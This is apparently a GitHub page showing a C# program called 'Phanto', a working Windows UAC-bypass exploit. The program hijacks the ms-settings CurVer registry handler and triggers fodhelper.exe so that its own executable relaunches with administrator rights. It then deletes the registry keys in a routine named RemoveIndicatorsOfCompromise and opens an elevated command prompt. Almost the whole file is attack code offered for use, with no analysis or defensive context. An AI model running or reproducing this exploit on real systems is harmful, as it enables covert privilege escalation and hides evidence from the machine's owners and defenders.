-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathProgram.cs
64 lines (51 loc) · 1.89 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
using Microsoft.Win32;
using System.Diagnostics;
using System.Security.Principal;
class Phanto
{
private static String name = ".pht";
private static String execute = @"C:\Users\Markus\Documents\Phanto\Phanto\bin\Debug\net7.0-windows\Phanto.exe";
static void Main(string[] args)
{
if (Compromise())
{
RemoveIndicatorsOfCompromise();
Process.Start("cmd.exe");
}
}
static Process CreateProcess(String name)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = name;
psi.RedirectStandardInput = true;
psi.RedirectStandardOutput = true;
psi.CreateNoWindow = true;
psi.UseShellExecute = false;
Process process = new Process();
process.StartInfo = psi;
return process;
}
static bool PrivilegedToken()
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
static bool Compromise()
{
if (PrivilegedToken()) return true;
Process cmdElevation = CreateProcess("cmd.exe");
cmdElevation.Start();
cmdElevation.StandardInput.WriteLine(@"REG ADD HKCU\SOFTWARE\Classes\ms-settings\CurVer /d " + Phanto.name + " /f");
cmdElevation.StandardInput.WriteLine(@"REG ADD HKCU\SOFTWARE\Classes\" + Phanto.name + @"\Shell\Open\command /d " + Phanto.execute + @" /f & fodhelper.exe");
cmdElevation.StandardInput.Close();
return false;
}
static bool RemoveIndicatorsOfCompromise()
{
using (RegistryKey registrykeyHKCU = Registry.CurrentUser)
{
registrykeyHKCU.DeleteSubKey(@"SOFTWARE\Classes\ms-settings\CurVer");
registrykeyHKCU.DeleteSubKeyTree(@"SOFTWARE\Classes\" + Phanto.name);
return true;
}
}
}